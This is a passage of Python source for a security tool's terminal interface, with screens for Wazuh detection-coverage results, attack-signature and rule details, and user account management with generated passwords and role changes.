            elif choice == "2":
                _view_detection_results(engagement_id)
            elif choice == "3":
                _view_attack_signatures()
            elif choice == "4" and not (config and config.get('enabled')):
                _configure_wazuh_connection(engagement_id)
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _view_detection_results(engagement_id: int):
    """View stored detection validation results with interactive mode."""
    from souleyez.storage.database import get_db
    from rich.table import Table
    from rich.console import Console

    db = get_db()
    conn = db.get_connection()
    cursor = conn.cursor()

    cursor.execute("""
        SELECT job_id, attack_type, target_ip, detection_status, alerts_count, rule_ids, checked_at
        FROM detection_results
        WHERE engagement_id = ?
        ORDER BY checked_at DESC
        LIMIT 50
    """, (engagement_id,))

    results = cursor.fetchall()

    if not results:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("DETECTION RESULTS")
        click.echo()
        click.echo("  No detection results yet.")
        click.echo("  Run 'Validate Detections' to check attack coverage.")
        click.pause()
        return

    # Build result items for interactive use
    result_items = []
    for row in results:
        job_id, attack_type, target_ip, status, alerts_count, rule_ids, checked_at = row

        # Status display
        if status == 'detected':
            status_display = '✓ Detected'
            status_style = 'green'
        elif status == 'not_detected':
            status_display = '✗ Gap'
            status_style = 'red'
        elif status == 'offline':
            status_display = '○ Offline'
            status_style = 'dim'
        else:
            status_display = f'? {status}'
            status_style = 'yellow'

        result_items.append({
            '_idx': job_id,
            'job_id': job_id,
            'status': status,
            'status_display': status_display,
            'status_style': status_style,
            'tool': attack_type or 'unknown',
            'target': target_ip or 'N/A',
            'alerts_count': alerts_count or 0,
            'rule_ids': rule_ids.split(',') if rule_ids else [],
            'rules_display': rule_ids[:20] if rule_ids else '-',
            'checked_at': checked_at[:16] if checked_at else '-',
        })

    # Calculate summary stats
    detected = sum(1 for r in result_items if r['status'] == 'detected')
    not_detected = sum(1 for r in result_items if r['status'] == 'not_detected')
    offline = sum(1 for r in result_items if r['status'] == 'offline')
    total = len(result_items)
    coverage = (detected / total * 100) if total > 0 else 0

    # Pagination
    page_size = 15
    current_page = 0

    def format_result_cell(item, key):
        if key == 'status_display':
            style = item.get('status_style', '')
            val = item.get('status_display', '')
            if style == 'green':
                return f'[green]{val}[/green]'
            elif style == 'red':
                return f'[red]{val}[/red]'
            elif style == 'dim':
                return f'[dim]{val}[/dim]'
            return f'[yellow]{val}[/yellow]'
        elif key == 'alerts_count':
            count = item.get('alerts_count', 0)
            if count > 0:
                return f'[green]{count}[/green]'
            return '[dim]0[/dim]'
        return str(item.get(key, '-'))

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("DETECTION RESULTS")
        click.echo()

        # Coverage bar
        bar_width = 30
        filled = int(bar_width * coverage / 100)
        bar = "█" * filled + "░" * (bar_width - filled)
        coverage_color = 'green' if coverage >= 70 else 'yellow' if coverage >= 40 else 'red'

        click.echo(f"  {bar} {click.style(f'{coverage:.0f}%', fg=coverage_color, bold=True)}")
        click.echo(f"  ✓ Detected: {detected}  |  ✗ Gaps: {not_detected}  |  ○ Offline: {offline}")

        # Show gaps summary
        gaps = [r for r in result_items if r['status'] == 'not_detected']
        if gaps:
            gap_items = [f"Job #{g['job_id']} ({g['tool']})" for g in gaps[:3]]
            gap_line = "  ✗ " + ", ".join(gap_items)
            if len(gaps) > 3:
                gap_line += f" +{len(gaps)-3} more"
            click.echo(click.style(gap_line, fg='red'))

        click.echo()
        click.echo(f"  Total Jobs: {total}")
        click.echo()

        # Create table
        console = Console()
        table = Table(
            show_header=True,
            header_style="bold cyan",
            box=DesignSystem.TABLE_BOX,
            padding=(0, 1),
            expand=True
        )

        table.add_column("Job", width=6, justify="right")
        table.add_column("Status", width=14)
        table.add_column("Tool", width=18)
        table.add_column("Target", width=18)
        table.add_column("Alerts", width=7, justify="right")
        table.add_column("Rules", width=20)

        # Paginate
        start_idx = current_page * page_size
        end_idx = min(start_idx + page_size, len(result_items))
        page_items = result_items[start_idx:end_idx]

        for item in page_items:
            status_str = format_result_cell(item, 'status_display')
            alerts_str = format_result_cell(item, 'alerts_count')

            table.add_row(
                str(item['job_id']),
                status_str,
                item['tool'],
                item['target'][:18] if item['target'] else '-',
                alerts_str,
                item['rules_display']
            )

        console.print(table)

        # Pagination info
        total_pages = (len(result_items) + page_size - 1) // page_size
        if total_pages > 1:
            click.echo(f"\n  Page {current_page + 1}/{total_pages}")

        # Tip and menu
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        click.echo()
        click.echo(DesignSystem.separator())
        click.echo()
        click.echo("  [#] View job details")
        click.echo("  [i] Interactive mode")
        if total_pages > 1:
            click.echo("  [n] Next page  [p] Previous page")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n' and current_page < total_pages - 1:
                current_page += 1
            elif choice == 'p' and current_page > 0:
                current_page -= 1
            elif choice == 'i' and result_items:
                _detection_results_interactive(result_items, detected, not_detected, offline, coverage, format_result_cell)
            elif choice.isdigit():
                job_id = int(choice)
                item = next((r for r in result_items if r['job_id'] == job_id), None)
                if item:
                    _view_detection_result_detail(item)
                else:
                    click.echo(click.style(f"\n  Job #{job_id} not found in results", fg='red'))
                    click.pause()
        except (KeyboardInterrupt, EOFError):
            return


def _detection_results_interactive(result_items: list, detected: int, not_detected: int, offline: int, coverage: float, format_result_cell):
    """Interactive mode for browsing stored detection results."""
    from souleyez.ui.interactive_selector import InteractiveSelector

    selected = set()

    columns = [
        {'name': 'Job', 'width': 5, 'key': 'job_id'},
        {'name': 'Status', 'width': 12, 'key': 'status_display'},
        {'name': 'Tool', 'width': 15, 'key': 'tool'},
        {'name': 'Target', 'width': 18, 'key': 'target'},
        {'name': 'Alerts', 'width': 7, 'key': 'alerts_count'},
        {'name': 'Rules', 'width': 20, 'key': 'rules_display'},
    ]

    def show_coverage_header():
        bar_width = 30
        filled = int(bar_width * coverage / 100)
        bar = "█" * filled + "░" * (bar_width - filled)
        pct_str = f"{coverage:.0f}%"

        stats = f"{bar} {pct_str}  ✓ Detected: {detected}  |  ✗ Gaps: {not_detected}"
        if offline > 0:
            stats += f"  |  ○ Offline: {offline}"

        gaps = [r for r in result_items if r['status'] == 'not_detected']
        if gaps:
            gap_items = [f"Job #{g['job_id']} ({g['tool']})" for g in gaps[:3]]
            gap_line = "\n  ✗ " + ", ".join(gap_items)
            if len(gaps) > 3:
                gap_line += f" +{len(gaps)-3} more"
            return stats + gap_line

        return stats

    selector = InteractiveSelector(
        items=result_items,
        columns=columns,
        selected_ids=selected,
        get_id=lambda r: r.get('_idx'),
        title='DETECTION RESULTS - Interactive',
        page_size=15,
        format_cell=format_result_cell,
        show_header_info=show_coverage_header
    )
    selector.run()

    # View selected job detail
    if selected:
        job_id = min(selected)
        item = next((r for r in result_items if r['job_id'] == job_id), None)
        if item:
            click.echo()
            click.echo("    [v] View selected job details")
            click.echo("    [q] Back")
            try:
                choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()
                if choice == 'v':
                    _view_detection_result_detail(item)
            except (KeyboardInterrupt, EOFError):
                pass


def _view_detection_result_detail(item: dict):
    """View detailed information about a stored detection result."""
    DesignSystem.clear_screen()
    click.echo()
    render_standard_header(f"JOB #{item['job_id']} DETECTION DETAIL")
    click.echo()

    # Job Information
    click.echo(f"  {click.style('JOB INFORMATION', bold=True)}")
    click.echo("  " + "─" * 60)
    click.echo(f"    Tool:          {item['tool']}")
    click.echo(f"    Target:        {item['target']}")
    click.echo(f"    Checked:       {item['checked_at']}")
    click.echo()

    # Detection Status
    status = item['status']
    if status == 'detected':
        status_color = 'green'
        status_text = '✓ DETECTED'
    elif status == 'not_detected':
        status_color = 'red'
        status_text = '✗ NOT DETECTED (Gap)'
    elif status == 'offline':
        status_color = 'yellow'
        status_text = '○ OFFLINE'
    else:
        status_color = 'yellow'
        status_text = f'? {status.upper()}'

    click.echo(f"  {click.style('DETECTION STATUS', bold=True)}")
    click.echo("  " + "─" * 60)
    click.echo(f"    Status:        {click.style(status_text, fg=status_color, bold=True)}")
    click.echo(f"    Alerts:        {item['alerts_count']}")
    if item['rule_ids']:
        click.echo(f"    Rules:         {', '.join(item['rule_ids'][:5])}")
        if len(item['rule_ids']) > 5:
            click.echo(f"                   +{len(item['rule_ids'])-5} more")
    click.echo()

    click.pause()


def _view_attack_signatures():
    """View available attack signatures for detection validation."""
    from souleyez.detection.attack_signatures import ATTACK_SIGNATURES
    from souleyez.ui.interactive_selector import interactive_select

    selected_ids = set()

    # Build signature data for interactive selector
    sig_dicts = []
    for tool, sig in ATTACK_SIGNATURES.items():
        sig_dicts.append({
            'id': tool,
            'tool': tool,
            'category': sig.get('category', 'unknown').replace('_', ' ').title(),
            'severity': sig.get('severity', 'medium').upper(),
            'rules': len(sig.get('wazuh_rules', [])),
            'offline': sig.get('offline', False)
        })

    def format_sig_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if value is None:
            return '-'
        if key == 'severity':
            sev = str(value).upper()
            if sev == 'CRITICAL':
                return f"[bold red]{sev}[/bold red]"
            elif sev == 'HIGH':
                return f"[bold yellow]{sev}[/bold yellow]"
            elif sev == 'MEDIUM':
                return f"[cyan]{sev}[/cyan]"
            elif sev == 'LOW':
                return f"[green]{sev}[/green]"
            return sev
        if key == 'rules':
            if item.get('offline'):
                return "[bright_black]OFFLINE[/bright_black]"
            return f"[green]{value}[/green]" if value > 0 else "[yellow]0[/yellow]"
        return str(value)

    # Drop straight into interactive mode
    interactive_select(
        items=sig_dicts,
        columns=[
            {'name': 'Tool', 'width': 16, 'key': 'tool'},
            {'name': 'Category', 'width': 20, 'key': 'category'},
            {'name': 'Severity', 'width': 10, 'key': 'severity', 'justify': 'center'},
            {'name': 'Rules', 'width': 10, 'key': 'rules', 'justify': 'right'},
        ],
        selected_ids=selected_ids,
        get_id=lambda s: s['id'],
        title='ATTACK SIGNATURES',
        format_cell=format_sig_cell
    )

    # If signatures selected, show details for the first one
    if selected_ids:
        _view_signature_detail(list(selected_ids)[0])


def _view_signature_detail(tool_name: str):
    """View detailed information about a specific attack signature."""
    from souleyez.detection.attack_signatures import ATTACK_SIGNATURES
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.integrations.wazuh.client import WazuhClient
    from souleyez.storage.engagements import EngagementManager

    sig = ATTACK_SIGNATURES.get(tool_name)
    if not sig:
        click.echo(click.style(f"\n  Tool '{tool_name}' not found.", fg='red'))
        click.pause()
        return

    # Get Wazuh client if connected
    wazuh_client = None
    rule_details = {}
    rules = sig.get('wazuh_rules', [])

    try:
        em = EngagementManager()
        current = em.get_current()
        if current:
            config = WazuhConfig.get_config(current['id'])
            if config and config.get('enabled'):
                wazuh_client = WazuhClient(
                    api_url=config['api_url'],
                    username=config['api_user'],
                    password=config['api_password'],
                    verify_ssl=config.get('verify_ssl', False)
                )
                # Fetch rule definitions
                if rules:
                    fetched_rules = wazuh_client.get_rules(rule_ids=rules)
                    for rule in fetched_rules:
                        rule_id = rule.get('id')
                        if rule_id:
                            rule_details[int(rule_id)] = rule
    except Exception:
        pass

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header(f"SIGNATURE: {tool_name.upper()}")
        click.echo()

        # Basic info
        click.echo(f"  {click.style('Description:', fg='cyan', bold=True)}  {sig.get('description', 'N/A')}")
        click.echo(f"  {click.style('Category:', fg='cyan', bold=True)}     {sig.get('category', 'unknown').replace('_', ' ').title()}")

        # Severity with color
        severity = sig.get('severity', 'medium')
        if severity == 'critical':
            sev_display = click.style('CRITICAL', fg='red', bold=True)
        elif severity == 'high':
            sev_display = click.style('HIGH', fg='yellow', bold=True)
        elif severity == 'medium':
            sev_display = click.style('MEDIUM', fg='cyan')
        elif severity == 'low':
            sev_display = click.style('LOW', fg='green')
        else:
            sev_display = click.style('INFO', fg='white')
        click.echo(f"  {click.style('Severity:', fg='cyan', bold=True)}     {sev_display}")

        # Detection window
        window = sig.get('detection_window_seconds', 0)
        if window > 0:
            window_display = f"{window} seconds ({window//60} minutes)"
        else:
            window_display = "N/A (offline tool)"
        click.echo(f"  {click.style('Window:', fg='cyan', bold=True)}       {window_display}")

        # Offline status
        if sig.get('offline'):
            click.echo(f"  {click.style('Status:', fg='cyan', bold=True)}       {click.style('OFFLINE - No network detection expected', fg='bright_black')}")
        click.echo()

        # Wazuh Rules
        click.echo(f"  {click.style('WAZUH RULES', bold=True, fg='yellow')}")
        click.echo("  " + "─" * 80)

        if rules:
            if rule_details:
                # Show detailed rule info in a table format
                click.echo(f"    {'ID':<8} {'Level':<6} {'Description':<60}")
                click.echo("    " + "─" * 76)
                for rule_id in rules:
                    rule = rule_details.get(rule_id, {})
                    if rule:
                        level = rule.get('level', '-')
                        desc = rule.get('description', 'No description')[:58]
                        # Color code by level
                        if isinstance(level, int):
                            if level >= 12:
                                level_display = click.style(f"{level:<6}", fg='red', bold=True)
                            elif level >= 8:
                                level_display = click.style(f"{level:<6}", fg='yellow')
                            elif level >= 4:
                                level_display = click.style(f"{level:<6}", fg='cyan')
                            else:
                                level_display = click.style(f"{level:<6}", fg='green')
                        else:
                            level_display = f"{level:<6}"
                        click.echo(f"    {rule_id:<8} {level_display} {desc}")
                    else:
                        click.echo(f"    {rule_id:<8} {'-':<6} {click.style('(not found in Wazuh)', fg='bright_black')}")
                click.echo()
                click.echo(click.style("    💡 Enter a rule ID to view full rule definition", fg='bright_black'))
            else:
                # Just show rule IDs
                for i in range(0, len(rules), 6):
                    chunk = rules[i:i+6]
                    rules_line = "    " + "  ".join(f"{r:<8}" for r in chunk)
                    click.echo(rules_line)
                if not wazuh_client:
                    click.echo()
                    click.echo(click.style("    💡 Connect to Wazuh to see rule descriptions", fg='bright_black'))
        else:
            click.echo(click.style("    No Wazuh rules defined (offline tool or custom)", fg='bright_black'))
        click.echo()

        # Search Patterns
        patterns = sig.get('search_patterns', [])
        click.echo(f"  {click.style('SEARCH PATTERNS', bold=True, fg='yellow')}")
        click.echo("  " + "─" * 80)
        if patterns:
            for pattern in patterns:
                click.echo(f"    • {pattern}")
        else:
            click.echo(click.style("    No search patterns defined", fg='bright_black'))
        click.echo()

        # Expected Fields
        fields = sig.get('expected_fields', [])
        click.echo(f"  {click.style('EXPECTED ALERT FIELDS', bold=True, fg='yellow')}")
        click.echo("  " + "─" * 80)
        if fields:
            click.echo(f"    {', '.join(fields)}")
        else:
            click.echo(click.style("    No expected fields defined", fg='bright_black'))
        click.echo()

        # Menu
        click.echo("─" * 80)
        if rule_details:
            click.echo("  [rule_id] View full rule definition  |  [q] Back")
        else:
            click.echo("  [q] Back")
        click.echo()
        click.echo(click.style("  Select option: ", bold=True), nl=False)

        try:
            choice = input().strip().lower()
        except (KeyboardInterrupt, EOFError):
            break

        if choice in ('q', 'quit', ''):
            break

        # Check if user entered a rule ID
        if choice.isdigit():
            rule_id = int(choice)
            if rule_id in rule_details:
                _view_wazuh_rule_detail(rule_id, rule_details[rule_id], wazuh_client)
            elif rule_id in rules:
                click.echo(click.style(f"\n  Rule {rule_id} not found in Wazuh", fg='yellow'))
                click.pause()
            else:
                click.echo(click.style(f"\n  Rule {rule_id} is not in this signature", fg='red'))
                click.pause()


def _view_wazuh_rule_detail(rule_id: int, rule: dict, wazuh_client=None):
    """View full details of a Wazuh rule."""
    DesignSystem.clear_screen()
    click.echo()
    render_standard_header(f"WAZUH RULE: {rule_id}")
    click.echo()

    # Basic info
    click.echo(f"  {click.style('Rule ID:', fg='cyan', bold=True)}      {rule_id}")
    click.echo(f"  {click.style('Level:', fg='cyan', bold=True)}        {rule.get('level', 'N/A')}")
    click.echo(f"  {click.style('Description:', fg='cyan', bold=True)}  {rule.get('description', 'N/A')}")
    click.echo(f"  {click.style('Status:', fg='cyan', bold=True)}       {rule.get('status', 'N/A')}")
    click.echo()

    # File location
    filename = rule.get('filename', 'N/A')
    relative_dir = rule.get('relative_dirname', '')
    if relative_dir:
        filepath = f"{relative_dir}/{filename}"
    else:
        filepath = filename
    click.echo(f"  {click.style('File:', fg='cyan', bold=True)}         {filepath}")
    click.echo()

    # Groups
    groups = rule.get('groups', [])
    click.echo(f"  {click.style('GROUPS', bold=True, fg='yellow')}")
    click.echo("  " + "─" * 80)
    if groups:
        click.echo(f"    {', '.join(groups)}")
    else:
        click.echo(click.style("    No groups defined", fg='bright_black'))
    click.echo()

    # GDPR / compliance mappings
    gdpr = rule.get('gdpr', [])
    pci_dss = rule.get('pci_dss', [])
    hipaa = rule.get('hipaa', [])
    nist = rule.get('nist_800_53', [])
    mitre = rule.get('mitre', {})

    if gdpr or pci_dss or hipaa or nist or mitre:
        click.echo(f"  {click.style('COMPLIANCE MAPPINGS', bold=True, fg='yellow')}")
        click.echo("  " + "─" * 80)
        if gdpr:
            click.echo(f"    GDPR:      {', '.join(gdpr)}")
        if pci_dss:
            click.echo(f"    PCI-DSS:   {', '.join(pci_dss)}")
        if hipaa:
            click.echo(f"    HIPAA:     {', '.join(hipaa)}")
        if nist:
            click.echo(f"    NIST:      {', '.join(nist)}")
        if mitre:
            # Handle both dict and list formats from Wazuh API
            if isinstance(mitre, dict):
                techniques = mitre.get('technique', [])
                tactics = mitre.get('tactic', [])
                if techniques:
                    click.echo(f"    MITRE ATT&CK Techniques: {', '.join(techniques)}")
                if tactics:
                    click.echo(f"    MITRE ATT&CK Tactics:    {', '.join(tactics)}")
            elif isinstance(mitre, list):
                # List of MITRE mappings
                click.echo(f"    MITRE ATT&CK: {', '.join(str(m) for m in mitre)}")
        click.echo()

    # Rule details (parsed fields)
    details = rule.get('details', {})
    click.echo(f"  {click.style('RULE DEFINITION (Parsed)', bold=True, fg='yellow')}")
    click.echo("  " + "─" * 80)

    if details:
        for key, value in details.items():
            if isinstance(value, dict):
                click.echo(f"    {click.style(key + ':', fg='cyan')}")
                for k, v in value.items():
                    click.echo(f"      {k}: {v}")
            elif isinstance(value, list):
                click.echo(f"    {click.style(key + ':', fg='cyan')} {', '.join(str(v) for v in value)}")
            else:
                # Highlight important fields
                if key in ('regex', 'match', 'decoded_as', 'program_name'):
                    click.echo(f"    {click.style(key + ':', fg='cyan')} {click.style(str(value), fg='yellow')}")
                elif key == 'if_sid':
                    click.echo(f"    {click.style(key + ':', fg='cyan')} {click.style(str(value), fg='magenta')}")
                else:
                    click.echo(f"    {click.style(key + ':', fg='cyan')} {value}")
    else:
        click.echo(click.style("    No parsed details available", fg='bright_black'))
    click.echo()

    # Try to fetch the actual XML rule
    if wazuh_client and filename and filename != 'N/A':
        click.echo(f"  {click.style('XML RULE SOURCE', bold=True, fg='green')}")
        click.echo("  " + "─" * 80)

        try:
            xml_rule = wazuh_client.get_rule_xml(rule_id, filename, relative_dir)
            if xml_rule:
                # Pretty print the XML with syntax highlighting
                import xml.dom.minidom
                try:
                    # Format the XML nicely
                    dom = xml.dom.minidom.parseString(xml_rule)
                    pretty_xml = dom.toprettyxml(indent="  ")
                    # Remove the XML declaration line
                    lines = pretty_xml.split('\n')[1:]
                    # Remove empty lines
                    lines = [l for l in lines if l.strip()]

                    for line in lines:
                        # Syntax highlighting for XML
                        highlighted = line
                        # Highlight tags
                        highlighted = highlighted.replace('<rule', click.style('<rule', fg='cyan', bold=True))
                        highlighted = highlighted.replace('</rule>', click.style('</rule>', fg='cyan', bold=True))
                        highlighted = highlighted.replace('<description>', click.style('<description>', fg='yellow'))
                        highlighted = highlighted.replace('</description>', click.style('</description>', fg='yellow'))
                        highlighted = highlighted.replace('<match>', click.style('<match>', fg='green'))
                        highlighted = highlighted.replace('</match>', click.style('</match>', fg='green'))
                        highlighted = highlighted.replace('<regex>', click.style('<regex>', fg='green'))
                        highlighted = highlighted.replace('</regex>', click.style('</regex>', fg='green'))
                        highlighted = highlighted.replace('<decoded_as>', click.style('<decoded_as>', fg='magenta'))
                        highlighted = highlighted.replace('</decoded_as>', click.style('</decoded_as>', fg='magenta'))
                        highlighted = highlighted.replace('<if_sid>', click.style('<if_sid>', fg='bright_magenta'))
                        highlighted = highlighted.replace('</if_sid>', click.style('</if_sid>', fg='bright_magenta'))
                        highlighted = highlighted.replace('<group>', click.style('<group>', fg='blue'))
                        highlighted = highlighted.replace('</group>', click.style('</group>', fg='blue'))
                        click.echo(f"    {highlighted}")
                except Exception:
                    # If XML parsing fails, just show raw
                    for line in xml_rule.split('\n'):
                        click.echo(f"    {line}")
            else:
                click.echo(click.style("    Could not fetch XML source (file may be restricted)", fg='bright_black'))
        except Exception as e:
            click.echo(click.style(f"    Error fetching XML: {str(e)[:50]}", fg='bright_black'))
        click.echo()

    click.pause()


def _interactive_select(options, title, allow_cancel=True):
    """
    Interactive selection with arrow key navigation.

    Args:
        options: List of {'label': str, 'value': any, 'description': str (optional)}
        title: Title to display
        allow_cancel: Whether to allow cancelling with 'q'

    Returns:
        Selected value, or None if cancelled
    """
    from souleyez.ui.interactive_selector import _get_key, KEY_UP, KEY_DOWN, KEY_ENTER, KEY_ESCAPE

    if not options:
        return None

    cursor = 0

    while True:
        DesignSystem.clear_screen()
        click.echo()
        click.echo(click.style(f"  {title}", bold=True, fg='cyan'))
        click.echo("  " + "─" * 50)
        click.echo()

        for idx, opt in enumerate(options):
            prefix = "▶ " if idx == cursor else "  "
            label = opt['label']
            desc = opt.get('description', '')

            if idx == cursor:
                line = f"{prefix}{label}"
                if desc:
                    line += f"  [dim]{desc}[/dim]"
                click.echo(click.style(f"  {prefix}{label}", fg='cyan', bold=True) +
                          (click.style(f"  {desc}", fg='bright_black') if desc else ""))
            else:
                click.echo(f"  {prefix}{label}" + (f"  {click.style(desc, fg='bright_black')}" if desc else ""))

        click.echo()
        cancel_text = "  q Cancel" if allow_cancel else ""
        click.echo(click.style(f"  ↑↓ Navigate  Enter Select{cancel_text}", fg='bright_black'))

        key = _get_key()

        if key in (KEY_UP, 'k'):
            cursor = (cursor - 1) % len(options)
        elif key in (KEY_DOWN, 'j'):
            cursor = (cursor + 1) % len(options)
        elif key in (KEY_ENTER, '\r', '\n'):
            return options[cursor]['value']
        elif allow_cancel and key in ('q', KEY_ESCAPE):
            return None


def _user_management_menu():
    """User management menu for admins."""
    import getpass
    from souleyez.auth import UserManager, Role, Tier, get_current_user
    from souleyez.storage.database import get_db
    from rich.table import Table
    from rich.console import Console

    console = Console()
    user_mgr = UserManager(get_db().db_path)

    while True:
        DesignSystem.clear_screen()
        click.echo()
        click.echo(click.style("👥 USERS & ACCESS", bold=True, fg='cyan'))
        click.echo("=" * 70)
        click.echo()

        # List current users
        users = user_mgr.list_users(include_inactive=True)

        table = Table(show_header=True, header_style="bold cyan")
        table.add_column("#", width=3)
        table.add_column("Username", width=15)
        table.add_column("Role", width=10)
        table.add_column("Tier", width=8)
        table.add_column("Status", width=10)
        table.add_column("Last Login", width=12)

        for i, u in enumerate(users, 1):
            tier_display = "💎 PRO" if u.tier == Tier.PRO else "FREE"
            status = "[green]Active[/green]" if u.is_active else "[red]Disabled[/red]"
            if u.is_locked:
                status = "[yellow]Locked[/yellow]"
            last_login = u.last_login.strftime('%Y-%m-%d') if u.last_login else "[dim]Never[/dim]"

            table.add_row(
                str(i),
                u.username,
                u.role.value.upper(),
                tier_display,
                status,
                last_login
            )

        console.print(table)
        click.echo()

        click.echo("  ⚙️  OPTIONS")
        click.echo("  ─" * 35)
        click.echo("    [i] Interactive mode (select users)")
        click.echo("    [c] Create new user")
        click.echo("    [u] Update user (role/status)")
        click.echo("    [p] Reset user password")
        click.echo("    [d] Delete user")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "i":
                # Interactive mode with arrow key selection
                from souleyez.ui.interactive_selector import interactive_select

                if not users:
                    click.echo(click.style("\n  No users to select!", fg='yellow'))
                    click.pause()
                    continue

                # Build user dicts for selector
                user_dicts = []
                for u in users:
                    tier_display = "PRO" if u.tier == Tier.PRO else "FREE"
                    status = "Active" if u.is_active else "Disabled"
                    if u.is_locked:
                        status = "Locked"
                    last_login = u.last_login.strftime('%Y-%m-%d') if u.last_login else "Never"

                    user_dicts.append({
                        'id': u.id,
                        'username': u.username,
                        'role': u.role.value.upper(),
                        'tier': tier_display,
                        'status': status,
                        'last_login': last_login,
                        'user_obj': u  # Keep reference for actions
                    })

                def format_user_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None:
                        return '-'
                    if key == 'tier':
                        return f"[cyan]{value}[/cyan]" if value == "PRO" else value
                    if key == 'status':
                        if value == "Active":
                            return "[green]Active[/green]"
                        elif value == "Locked":
                            return "[yellow]Locked[/yellow]"
                        else:
                            return "[red]Disabled[/red]"
                    return str(value)

                selected_ids = set()
                interactive_select(
                    items=user_dicts,
                    columns=[
                        {'name': 'ID', 'width': 5, 'key': 'id', 'justify': 'right'},
                        {'name': 'Username', 'width': 15, 'key': 'username'},
                        {'name': 'Role', 'width': 10, 'key': 'role'},
                        {'name': 'Tier', 'width': 8, 'key': 'tier'},
                        {'name': 'Status', 'width': 10, 'key': 'status'},
                        {'name': 'Last Login', 'width': 12, 'key': 'last_login'},
                    ],
                    selected_ids=selected_ids,
                    get_id=lambda u: u['id'],
                    title='SELECT USERS',
                    format_cell=format_user_cell
                )

                # Show bulk action menu if users selected
                if selected_ids:
                    selected_users = [u for u in user_dicts if u['id'] in selected_ids]
                    _users_bulk_action_menu(selected_users, user_mgr)

            elif choice == "c":
                _create_user_interactive(user_mgr)
            elif choice == "u":
                _update_user_interactive(user_mgr, users)
            elif choice == "p":
                _reset_password_interactive(user_mgr, users)
            elif choice == "d":
                _delete_user_interactive(user_mgr, users)
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _create_user_interactive(user_mgr):
    """Create a new user interactively."""
    import secrets
    from souleyez.auth import Role, Tier
    from souleyez.licensing.validator import get_active_license
    from rich.console import Console
    from rich.panel import Panel

    console = Console()

    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style("  📝 CREATE NEW USER", bold=True))
    click.echo("  " + "─" * 40)
    click.echo()

    try:
        username = click.prompt("  Username")
        if not username:
            return

        email = click.prompt("  Email (optional)", default="", show_default=False)

        # Interactive role selection
        role_options = [
            {'label': 'Admin', 'value': Role.ADMIN, 'description': 'Full system access'},
            {'label': 'Lead', 'value': Role.LEAD, 'description': 'Team management + analyst'},
            {'label': 'Analyst', 'value': Role.ANALYST, 'description': 'Run scans, findings (Recommended)'},
            {'label': 'Viewer', 'value': Role.VIEWER, 'description': 'Read-only access'},
        ]
        role = _interactive_select(role_options, f"SELECT ROLE FOR '{username}'")
        if role is None:
            return

        # Check for active license - if valid, new users get PRO tier
        active_license = get_active_license()
        if active_license and active_license.is_valid:
            tier = Tier.PRO
        else:
            tier = Tier.FREE

        # Generate a secure random password
        password = secrets.token_urlsafe(16)

        # Create the user
        user, error = user_mgr.create_user(
            username=username,
            password=password,
            email=email or None,
            role=role,
            tier=tier,
            skip_password_validation=True  # Generated password is secure
        )

        DesignSystem.clear_screen()
        click.echo()

        if user:
            # Display credentials in a nice panel
            tier_display = "💎 PRO" if tier == Tier.PRO else "FREE"
            panel_content = (
                f"User account created successfully!\n\n"
                f"Username: {username}\n"
                f"Password: {password}\n"
                f"Role: {role.value.upper()}\n"
                f"Tier: {tier_display}\n\n"
                f"[yellow]⚠️  Save this password! It will not be shown again.[/yellow]\n\n"
                f"[dim]To change password after login:[/dim]\n"
                f"[dim]  • Settings & Security → [p] Reset user password[/dim]\n"
                f"[dim]  • Or CLI: souleyez user passwd {username}[/dim]"
            )
            console.print(Panel(
                panel_content,
                title="🔐 New User Created",
                border_style="green"
            ))
        else:
            click.echo(click.style(f"  ✗ {error}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError):
        return


def _update_user_interactive(user_mgr, users):
    """Update a user's role, tier, or status."""
    from souleyez.auth import Role, Tier, get_current_user

    if not users:
        click.echo(click.style("  No users to update!", fg='yellow'))
        click.pause()
        return

    try:
        # Interactive user selection
        user_options = [
            {'label': u.username, 'value': u, 'description': f"{u.role.value.upper()} | {u.tier.value}"}
            for u in users
        ]
        target = _interactive_select(user_options, "SELECT USER TO UPDATE")
        if target is None:
            return

        # Prevent self-modification
        current = get_current_user()
        if target.id == current.id:
            click.echo(click.style("  ⚠️  Cannot modify your own account here.", fg='yellow'))
            click.pause()
            return

        # What to update? (Tier not included - requires license activation)
        update_options = [
            {'label': 'Role', 'value': 'role', 'description': f'Current: {target.role.value.upper()}'},
            {'label': 'Status', 'value': 'status', 'description': f'Current: {"Active" if target.is_active else "Disabled"}'},
        ]
        field = _interactive_select(update_options, f"WHAT TO UPDATE FOR '{target.username}'")
        if field is None:
            return

        kwargs = {}

        if field == 'role':
            role_options = [
                {'label': 'Admin', 'value': Role.ADMIN, 'description': 'Full system access'},
                {'label': 'Lead', 'value': Role.LEAD, 'description': 'Team management + analyst'},
                {'label': 'Analyst', 'value': Role.ANALYST, 'description': 'Run scans, findings'},
                {'label': 'Viewer', 'value': Role.VIEWER, 'description': 'Read-only access'},
            ]
            new_role = _interactive_select(role_options, f"NEW ROLE FOR '{target.username}'")
            if new_role is None:
                return
            kwargs['role'] = new_role

        elif field == 'status':
            status_options = [
                {'label': 'Active', 'value': True, 'description': 'User can log in'},
                {'label': 'Disabled', 'value': False, 'description': 'User cannot log in'},
            ]
            new_status = _interactive_select(status_options, f"NEW STATUS FOR '{target.username}'")
            if new_status is None:
                return
            kwargs['is_active'] = new_status

        success, error = user_mgr.update_user(target.id, **kwargs)

        if success:
            click.echo()
            click.echo(click.style(f"  ✓ User '{target.username}' updated!", fg='green'))
        else:
